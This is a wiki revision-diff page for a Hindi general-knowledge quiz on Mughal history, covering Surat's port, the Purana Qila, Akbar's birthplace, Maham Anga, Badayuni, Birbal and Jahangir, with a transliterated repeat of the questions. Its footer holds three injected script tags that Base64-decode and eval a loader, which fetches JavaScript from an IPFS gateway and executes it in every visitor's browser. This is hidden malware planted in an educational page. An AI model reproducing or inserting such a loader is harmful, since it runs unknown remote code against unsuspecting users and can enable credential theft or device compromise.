Difference between revisions of "इतिहास सामान्य ज्ञान 19"

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-[[कालीकट]]
 
-[[कालीकट]]
-भड़ौच
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-[[भरूच|भड़ौच]]
 
-[[खम्भात की खाड़ी|खम्भात]]
 
-[[खम्भात की खाड़ी|खम्भात]]
 
+[[सूरत]]
 
+[[सूरत]]
||[[चित्र:Parle-Point-Surat.jpg|right|100px]][[पुर्तग़ाली|पुर्तग़ालियों]] द्वारा (1512 एवं 1530) सूरत को जला दिए जाने के बाद यह एक बड़ा विक्रय केंद्र बना, जहाँ से कपड़े और सोने का निर्यात होता था। वस्त्रोद्योग और जहाज़ निर्माण यहाँ के मुख्य उद्योग थे। [[अंग्रेज़|अंग्रेज़ों]] ने 1612 में पहली बार अपनी व्यापारिक चौकी यहीं पर स्थापित की थी। यहाँ के सूती, रेशमी, किमख़्वाब (जरीदार कपड़ा) के वस्त्र तथा सोने व [[चाँदी]] की वस्तुएँ प्रसिद्ध हैं।{{point}}अधिक जानकारी के लिए देखें:-[[सूरत]]
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||[[चित्र:Parle-Point-Surat.jpg|right|100px|border|परले पॉइंट, सूरत]]'सूरत' [[गुजरात|गुजरात राज्य]] का प्रसिद्ध शहर है। यह ज़िले का प्रशासनिक मुख्यालय भी है। सूरत दक्षिण-पूर्वी गुजरात राज्य, [[पश्चिम भारत]] में स्थित है। यह '[[खंभात की खाड़ी]]' पर [[ताप्ती नदी]] के मुहाने पर स्थित है। [[पुर्तग़ाली|पुर्तग़ालियों]] द्वारा (1512 एवं 1530 ई.) सूरत को जला दिए जाने के बाद यह एक बड़ा विक्रय केंद्र बना, जहाँ से कपड़े और सोने का निर्यात होता था। वस्त्रोद्योग और जहाज़ निर्माण यहाँ के मुख्य उद्योग थे। [[अंग्रेज़|अंग्रेज़ों]] ने 1612 ई. में पहली बार अपनी व्यापारिक चौकी यहीं पर स्थापित की थी। यहाँ के सूती, रेशमी, [[किमख़ाब]] (ज़रीदार कपड़ा) के वस्त्र तथा [[सोना|सोने]] व [[चाँदी]] की वस्तुएँ प्रसिद्ध हैं। - अधिक जानकारी के लिए देखें:-[[सूरत]]
  
 
{[[दिल्ली]] का [[पुराना क़िला दिल्ली|पुराना क़िला]] किसके द्वारा बनवाया गया था?
 
{[[दिल्ली]] का [[पुराना क़िला दिल्ली|पुराना क़िला]] किसके द्वारा बनवाया गया था?
 
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+[[शेरशाह]]
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+[[शेरशाह सूरी]]
 
-[[अकबर]]
 
-[[अकबर]]
 
-[[शाहजहाँ]]
 
-[[शाहजहाँ]]
 
-[[हुमायूँ]]
 
-[[हुमायूँ]]
||[[चित्र:Shershah Tomb2.jpg|right|150px|]]शेरशाह ने [[बंगाल]] के सोनागाँव से लेकर [[पंजाब]] में [[सिंधु नदी]] तक, [[आगरा]] से [[राजस्थान]] और [[मालवा]] तक पक्की सड़कें बनवाई थीं। सड़कों के किनारे छायादार एवं फल वाले वृक्ष लगाये गये थे, और जगह-जगह पर सराय, मस्जिद और कुओं का निर्माण कराया गया था। [[ब्रजमंडल]] के चौमुहाँ गाँव की सराय और छाता गाँव की सराय का भीतरी भाग उसी के द्वारा निर्मित हैं।{{point}}अधिक जानकारी के लिए देखें:-[[शेरशाह]]
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||[[चित्र:Purana-Qila-Delhi-2.jpg|right|border|100px|पुराना क़िला दिल्ली]]'पुराना क़िला' [[दिल्ली]] में स्थित एक आकर्षक पर्यटन स्थल है, जिसका निर्माण 16वीं शताब्दी में [[सूर वंश]] के संस्थापक [[शेरशाह सूरी]] ने करवाया था। यह क़िला प्रगति मैदान से अधिक दूर नहीं है। क़िला काफ़ी निर्जन स्‍थान पर है, जिसके चारों तरफ़ बहुधा हरियाली है। दिल्‍ली के कई अति प्राचीन शहरों के [[अवशेष]] पर निर्मित पुराना क़िला लगभग दो क़िलामीटर की परिधि में बना हुआ है, जिसकी आकृति आयताकार है। शेरशाह ने [[बंगाल]] के सोनागाँव से लेकर [[पंजाब]] में [[सिंधु नदी]] तक, [[आगरा]] से [[राजस्थान]] और [[मालवा]] तक पक्की सड़कें बनवाई थीं। सड़कों के किनारे छायादार एवं फल वाले वृक्ष लगाये गये थे और जगह-जगह पर सराय, मस्जिद और [[कुआँ|कुओं]] का निर्माण कराया गया था। - अधिक जानकारी के लिए देखें:-[[पुराना क़िला दिल्ली|पुराना क़िला]], [[दिल्ली]]
  
 
{[[अमरकोट]] के राजा वीरसाल के महल में किस [[मुग़ल]] बादशाह का जन्म हुआ था?
 
{[[अमरकोट]] के राजा वीरसाल के महल में किस [[मुग़ल]] बादशाह का जन्म हुआ था?
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+[[अकबर]]
 
+[[अकबर]]
 
-[[जहाँगीर]]
 
-[[जहाँगीर]]
||[[चित्र:Akbar-Receives-An-Embassy.jpg|right|100px]]अकबर का जन्म [[अमरकोट]] के राणा ‘वीरसाल’ के महल में हुआ था। आजकल कितने ही लोग अमरकोट को 'उमरकोट' समझने की ग़लती करते हैं। वस्तुत: यह इलाका [[राजस्थान]] का अभिन्न अंग था। आज भी वहाँ [[हिन्दू]] [[राजपूत]] बसते हैं। रेगिस्तान और [[सिंध]] की सीमा पर होने के कारण [[अंग्रेज़|अंग्रेज़ों]] ने इसे सिंध के साथ जोड़ दिया और विभाजन के बाद वह [[पाकिस्तान]] का अंग बन गया। [[अकबर]] के बचपन का नाम 'बदरुद्दीन' था।{{point}}अधिक जानकारी के लिए देखें:-[[अकबर]]
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||[[चित्र:Akbar.jpg|right|100px|border|अकबर]]'अकबर' [[भारत]] का महानतम [[मुग़ल]] शंहशाह था, जिसने मुग़ल शक्ति का भारतीय उपमहाद्वीप के अधिकांश हिस्सों में विस्तार किया। अपने साम्राज्य की एकता बनाए रखने के लिए [[अकबर]] द्वारा ऐसी नीतियाँ अपनाई गईं, जिनसे गैर मुसलमानों की राजभक्ति जीती जा सके। अकबर का जन्म [[अमरकोट]] के राणा ‘वीरसाल’ के महल में हुआ था। आजकल कितने ही लोग अमरकोट को 'उमरकोट' समझने की ग़लती करते हैं। वस्तुत: यह इलाक़ा [[राजस्थान]] का अभिन्न अंग था। आज भी वहाँ [[हिन्दू]] [[राजपूत]] बसते हैं। [[रेगिस्तान]] और [[सिंध]] की सीमा पर होने के कारण [[अंग्रेज़|अंग्रेज़ों]] ने इसे सिंध के साथ जोड़ दिया और विभाजन के बाद वह [[पाकिस्तान]] का अंग बन गया। [[अकबर]] के बचपन का नाम 'बदरुद्दीन' था। - अधिक जानकारी के लिए देखें:-[[अकबर]]
  
 
{[[मुग़ल]] दरबार में ‘पर्दा शासन’ के लिए ज़िम्मेदार ‘अतका खेल’ या ‘हरम दल’ की सर्वप्रमुख सदस्या कौन थी?
 
{[[मुग़ल]] दरबार में ‘पर्दा शासन’ के लिए ज़िम्मेदार ‘अतका खेल’ या ‘हरम दल’ की सर्वप्रमुख सदस्या कौन थी?
 
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+[[माहम अनगा]]
 
+[[माहम अनगा]]
-हमीदा बानू
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-[[हमीदा बानो बेगम]]
 
-[[नूरजहाँ|मेहरुन्निसा]]
 
-[[नूरजहाँ|मेहरुन्निसा]]
-जहाँआरा बेगम
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-[[जहाँआरा बेगम]]
||[[माहम अनगा]] बादशाह [[अकबर]] के बचपन में उसकी मुख्य अनगा (दूधमाता) थी। वह एक कटु राजनीतिज्ञ महिला और अदहम ख़ाँ की माँ थी। वह हरम के अन्दर उस दल में सम्मिलित थी, जो [[बैरम ख़ाँ]] के राज्य का सर्वेसर्वा बने रहने का विरोधी था। उसने अकबर को बैरम ख़ाँ के हाथ से सल्तनत की बाग़डोर छीनने के लिए प्रोत्साहित करने में महत्त्वपूर्ण भूमिका अदा की।{{point}}अधिक जानकारी के लिए देखें:-[[माहम अनगा]]
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||[[माहम अनगा]] बादशाह [[अकबर]] के बचपन में उसकी मुख्य अनगा (दूधमाता) थी। वह एक कटु राजनीतिज्ञ महिला और [[अदहम ख़ाँ]] की माँ थी। वह हरम के अन्दर उस दल में सम्मिलित थी, जो [[बैरम ख़ाँ]] के राज्य का सर्वेसर्वा बने रहने का विरोधी था। उसने अकबर को बैरम ख़ाँ के हाथ से सल्तनत की बाग़डोर छीनने के लिए प्रोत्साहित करने में महत्त्वपूर्ण भूमिका अदा की। - अधिक जानकारी के लिए देखें:-[[माहम अनगा]]
  
{निम्न इतिहासकारों में से किसने [[अकबर]] को [[इस्लाम धर्म]] का शत्रु कहा है?
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{निम्न [[इतिहासकार|इतिहासकारों]] में से किसने [[अकबर]] को [[इस्लाम धर्म]] का शत्रु कहा है?
 
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-अब्बास ख़ाँ सरवानी
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-[[अब्बास ख़ाँ सरवानी]]
+[[बदायूंनी]]
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+[[अब्दुल क़ादिर बदायूँनी|बदायूंनी]]
 
-अहमद ख़ाँ
 
-अहमद ख़ाँ
 
-मीर अलाउद्दौला कजवीनी
 
-मीर अलाउद्दौला कजवीनी
||बचपन में बदायूंनी 'बसबार' में रहे और [[सम्भल]] व [[आगरा]] में उन्होंने अध्ययन किया। 1562 में वह [[बदायूँ]] गए, वहाँ से [[पटियाला]] जाकर वह एक स्थानी राजा हुसैन ख़ाँ की सेवा में चले गए, जहाँ वह नौ वर्षों तक रहे। दरबार छोड़ने के बाद उन्होंने अपनी शिक्षा जारी रखी और विभिन्न मुस्लिम रहस्यवादियों के साथ अध्ययन किया। 1574 में बदायूंनी, अब्दुल क़ादिर [[मुग़ल]] बादशाह [[अकबर]] के दरबार में पेश किए गए।{{point}}अधिक जानकारी के लिए देखें:-[[बदायूंनी]]
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||'अब्द-उल क़ादिर बदायूँनी' [[फ़ारसी भाषा]] का [[इतिहासकार]] एवं अनुवादक था। उसका जन्म सन 1540 ई. में [[बदायूँ]], [[भारत]] में हुआ था। [[अब्दुल क़ादिर बदायूँनी|बदायूँनी]] भारत में मुग़लकालीन इतिहास के प्रमुखतम लेखकों में से एक था। बचपन में बदायूंनी बसबार में रहा और [[सम्भल]] व [[आगरा]] में अध्ययन किया। 1562 ई. में वह बदायूँ गया, वहाँ से [[पटियाला]] जाकर वह एक स्थानी राजा हुसैन ख़ाँ की सेवा में चला गया, जहाँ वह नौ वर्षों तक रहा। दरबार छोड़ने के बाद बदायूँनी ने अपनी शिक्षा जारी रखी और विभिन्न मुस्लिम रहस्यवादियों के साथ अध्ययन किया। 1574 ई. में वह [[मुग़ल]] बादशाह [[अकबर]] के दरबार में पेश किया गया। - अधिक जानकारी के लिए देखें:- [[अब्दुल क़ादिर बदायूँनी|बदायूंनी]]
 
 
{[[अकबर]] ने किसे ‘कविराय’ या ‘कविराज’ की उपाधि प्रदान की थी?
 
|type="()"}
 
+[[बीरबल]]
 
-[[अबुल फ़ज़ल]]
 
-[[फ़ैज़ी]]
 
-[[रहीम|अब्दुर्रहीम ख़ानख़ाना]]
 
||[[चित्र:Birbal.jpg|right|100px|बीरबल]][[अकबर के नवरत्न|अकबर के नवरत्नों]] में सबसे अधिक लोक-प्रसिद्ध [[बीरबल]] [[कानपुर]] के कान्यकुब्ज [[ब्राह्मण]] गंगादास के पुत्र थे। बीरबल का असली नाम महेशदास था। कुछ इतिहासकारों ने बीरबल को [[राजपूत]] सरदार बताया है। बीरबल अकबर के स्नेहपात्र थे। अकबर ने बीरबल को 'राजा' और 'कविराय' की उपाधि से सम्मानित किया था। पर उनका साहित्यिक जीवन अकबर के दरबार में मनोरंजन करने तक ही सीमित रहा।{{point}}अधिक जानकारी के लिए देखें:-[[बीरबल]]
 
 
 
{[[जहाँगीर]] के निर्देश पर किसने [[अबुल फ़ज़ल]] की हत्या की थी?
 
|type="()"}
 
-युसूफजाइयों ने
 
-उजबेगों ने
 
+वीरसिंह बुन्देला ने
 
-[[अफ़ग़ान|अफ़ग़ानियों]] ने
 
 
 
{‘मैंने अपना राज्य अपनी प्यारी बेगम के हाथों में एक प्याला शराब और एक प्याला शोरबे के लिए बेच दिया है।’ यह कथन किस बादशाह का है?
 
|type="()"}
 
+[[जहाँगीर]]
 
-[[शाहजहाँ]]
 
-[[औरंगज़ेब]]
 
-[[हुमायूँ]]
 
||[[चित्र:Jahangir-Mahal-Orchha.jpg|right|120px]]जहाँगीर ने अपने उत्तर जीवन में शासन का समस्त भार [[नूरजहाँ]] को सौंप दिया था। वह स्वयं शराब पीकर निश्चिंत पड़े रहने में ही अपने जीवन की सार्थकता समझता था। शराब की बुरी लत और ऐश−आराम ने उसके शरीर को निकम्मा कर दिया था। वह कोई महत्त्वपूर्ण कार्य नहीं कर सकता था। सौभाग्य से [[अकबर]] के काल में [[मुग़ल]] साम्राज्य की नींव इतनी सृदृढ़ रखी गई थी, कि [[जहाँगीर]] के निकम्मेपन से उसमें कोई ख़ास कमी नहीं आई थी।{{point}}अधिक जानकारी के लिए देखें:-[[जहाँगीर]]
 
 
 
{‘जो चित्रकला के शत्रु हैं, मैं उनका शत्रु हूँ।’ यह कथन किस बादशाह का है?
 
|type="()"}
 
-[[शिवाजी]]
 
-[[राणा प्रताप]]
 
+[[जहाँगीर]]
 
-[[शेरशाह]]
 
||जहाँगीर के चरित्र में एक अच्छा लक्षण था - प्रकृति से ह्रदय से आनंद लेना तथा फूलों को प्यार करना, उत्तम सौन्दर्य, बोधात्मक रुचि से सम्पन्न। स्वयं चित्रकार होने के कारण [[जहाँगीर]] [[कला]] एवं [[साहित्य]] का पोषक था। उसका ‘तुजूके-जहाँगीरी’ संस्मरण उसकी साहित्यिक योग्यता का प्रमाण है। उसने कष्टकर चुंगियों एवं करों को समाप्त किया तथा हिजड़ों के व्यापार का निषेध करने का प्रयास किया।{{point}}अधिक जानकारी के लिए देखें:-[[जहाँगीर]]
 
 
 
{किस [[जाट]] नेता ने बादशाह [[अकबर]] के मक़बरे ([[सिकन्दरा आगरा|सिकन्दरा]]) को हानि पहुँचाई तथा अकबर की क़ब्र को खोदकर उसकी अस्थियों को जला दिया?
 
|type="()"}
 
-गोकुला
 
+[[राजाराम]]
 
-चूड़ामणि
 
-[[बदनसिंह]]
 
||सन् 1688, मार्च में राजाराम ने आक्रमण किया। राजाराम ने अकबर के मक़बरे को लगभग तोड़ ही दिया था। यह निश्चय मुग़लों की प्रभुता का प्रतीक था। मनूची का कथन है कि जाटों ने लूटपाट "काँसे के उन विशाल फाटकों को तोड़कर शुरू की, जो इसमें लगे थे; उन्होंने बहुमूल्य रत्नों और सोने-चाँदी के पत्थरों को उखाड़ लिया और जो कुछ वे ले जा नहीं सकते थे, उसे उन्होंने नष्ट कर दिया।"{{point}}अधिक जानकारी के लिए देखें:-[[राजाराम]]
 
 
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Latest revision as of 03:18, 17 February 2023

samany jnan prashnottari
rajyoan ke samany jnan

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  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 mugal kal mean nimnalikhit bandaragahoan mean se kisako 'babool makka' (makka dvar) kaha jata tha?

kalikat
bh dauch
khambhat
soorat

2 dilli ka purana qila kisake dvara banavaya gaya tha?

sherashah soori
akabar
shahajahaan
humayooan

3 amarakot ke raja virasal ke mahal mean kis mugal badashah ka janm hua tha?

babar
aurangazeb
akabar
jahaangir

4 mugal darabar mean ‘parda shasan’ ke lie zimmedar ‘ataka khel’ ya ‘haram dal’ ki sarvapramukh sadasya kaun thi?

maham anaga
hamida bano begam
meharunnisa
jahaanara begam

5 nimn itihasakaroan mean se kisane akabar ko islam dharm ka shatru kaha hai?

abbas khaan saravani
badayooanni
ahamad khaan
mir alauddaula kajavini

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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